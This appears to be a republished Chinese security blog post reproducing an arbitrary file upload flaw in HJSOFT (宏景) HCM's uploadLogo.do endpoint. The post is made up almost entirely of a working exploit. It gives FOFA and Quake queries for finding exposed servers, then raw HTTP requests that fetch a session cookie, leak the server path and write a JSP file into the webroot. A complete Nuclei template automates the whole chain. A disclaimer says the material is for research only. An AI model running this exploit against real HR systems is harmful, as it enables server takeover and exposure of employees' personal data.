fofa: app="HJSOFT-HCM"
Quake:app:"宏景-HCM"
1、访问/module/system/qrcard/mobilewrite/qrcardmain.jsp获取cookie
GET /module/system/qrcard/mobilewrite/qrcardmain.jsp HTTP/1.1
Host: xxx
/sys/cms/uploadLogo.do?b_upload=upload&isClose=2&type=1获取文件上传路径
POST /sys/cms/uploadLogo.do?b_upload=upload&isClose=2&type=1 HTTP/1.1
Host: xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryk8DbZoq3wNm32b66
Cookie: JSESSIONID=C2AF006EB0EFAC26070DBC9A6AA10CF8
Accept-Encoding: gzip
Content-Length: 548
------WebKitFormBoundaryk8DbZoq3wNm32b66
Content-Disposition: form-data; name="path"
------WebKitFormBoundaryk8DbZoq3wNm32b66
Content-Disposition: form-data; name="lfType"
0
------WebKitFormBoundaryk8DbZoq3wNm32b66
Content-Disposition: form-data; name="logofile"; filename=""
Content-Type: image/gif
<%= "hjsoft-upload-test" %>
------WebKitFormBoundaryk8DbZoq3wNm32b66
Content-Disposition: form-data; name="twoFile"; filename=""
Content-Type: image/gif
<%= "hjsoft-upload-test" %>
------WebKitFormBoundaryk8DbZoq3wNm32b66--
POST /sys/cms/uploadLogo.do?b_upload=upload&isClose=2&type=1 HTTP/1.1
Host: xxx
Cookie: JSESSIONID=C2AF006EB0EFAC26070DBC9A6AA10CF8
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryk8DbZoq3wNm32b66
Content-Length: 628
------WebKitFormBoundaryk8DbZoq3wNm32b66
Content-Disposition: form-data; name="path"
D~3a~5capache~2dtomcat~2d~39~2e~30~2e~36~34~2drsxt~5cwebapps~5cROOT~5cthomas.jsp
------WebKitFormBoundaryk8DbZoq3wNm32b66
Content-Disposition: form-data; name="lfType"
0
------WebKitFormBoundaryk8DbZoq3wNm32b66
Content-Disposition: form-data; name="logofile"; filename=""
Content-Type: image/gif
<%= "hjsoft-upload-test" %>
------WebKitFormBoundaryk8DbZoq3wNm32b66
Content-Disposition: form-data; name="twoFile"; filename=""
Content-Type: image/gif
<%= "hjsoft-upload-test" %>
------WebKitFormBoundaryk8DbZoq3wNm32b66--
id: hjsoft-uploadLogo-fileupload
info:
name: 宏景uploadLogo任意文件上传漏洞
author: thomas
severity: critical
metadata:
fofa-query: app="HJSOFT-HCM"
tags: hjsoft,fileupload
requests:
- raw:
- |
GET /module/system/qrcard/mobilewrite/qrcardmain.jsp HTTP/1.1
Host: {{Hostname}}
- |
POST /sys/cms/uploadLogo.do?b_upload=upload&isClose=2&type=1 HTTP/1.1
Host: {{Hostname}}
Cookie: {{cookie}}
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryk8DbZoq3wNm32b66
------WebKitFormBoundaryk8DbZoq3wNm32b66
Content-Disposition: form-data; name="path"
------WebKitFormBoundaryk8DbZoq3wNm32b66
Content-Disposition: form-data; name="lfType"
0
------WebKitFormBoundaryk8DbZoq3wNm32b66
Content-Disposition: form-data; name="logofile"; filename=""
Content-Type: image/gif
<%= "hjsoft-upload-test" %>
------WebKitFormBoundaryk8DbZoq3wNm32b66
Content-Disposition: form-data; name="twoFile"; filename=""
Content-Type: image/gif
<%= "hjsoft-upload-test" %>
------WebKitFormBoundaryk8DbZoq3wNm32b66--
- |
POST /sys/cms/uploadLogo.do?b_upload=upload&isClose=2&type=1 HTTP/1.1
Host: {{Hostname}}
Cookie: {{cookie}}
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryk8DbZoq3wNm32b66
------WebKitFormBoundaryk8DbZoq3wNm32b66
Content-Disposition: form-data; name="path"
{{filepath}}thomas.jsp
------WebKitFormBoundaryk8DbZoq3wNm32b66
Content-Disposition: form-data; name="lfType"
0
------WebKitFormBoundaryk8DbZoq3wNm32b66
Content-Disposition: form-data; name="logofile"; filename=""
Content-Type: image/gif
<%= "hjsoft-upload-test" %>
------WebKitFormBoundaryk8DbZoq3wNm32b66
Content-Disposition: form-data; name="twoFile"; filename=""
Content-Type: image/gif
<%= "hjsoft-upload-test" %>
------WebKitFormBoundaryk8DbZoq3wNm32b66--
- |
GET /thomas.jsp HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: cookie
part: header
group: 1
internal: true
regex:
- "Set-Cookie: (.*?);"
- type: regex
name: filepath
part: body
group: 1
internal: true
regex:
- 'value="(.*?)images"'
req-condition: true
matchers:
- type: dsl
dsl:
- "status_code_1 == 200 && status_code_2 == 200 && status_code_3 == 200 && contains(body_4, 'hjsoft-upload-test')"
<<< END >>>
更多漏洞|关注作者查看
作者|混子Hacker
原文始发于微信公众号(混子Hacker):【漏洞复现】宏景人力资源信息管理系统uploadLogo任意文件上传
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论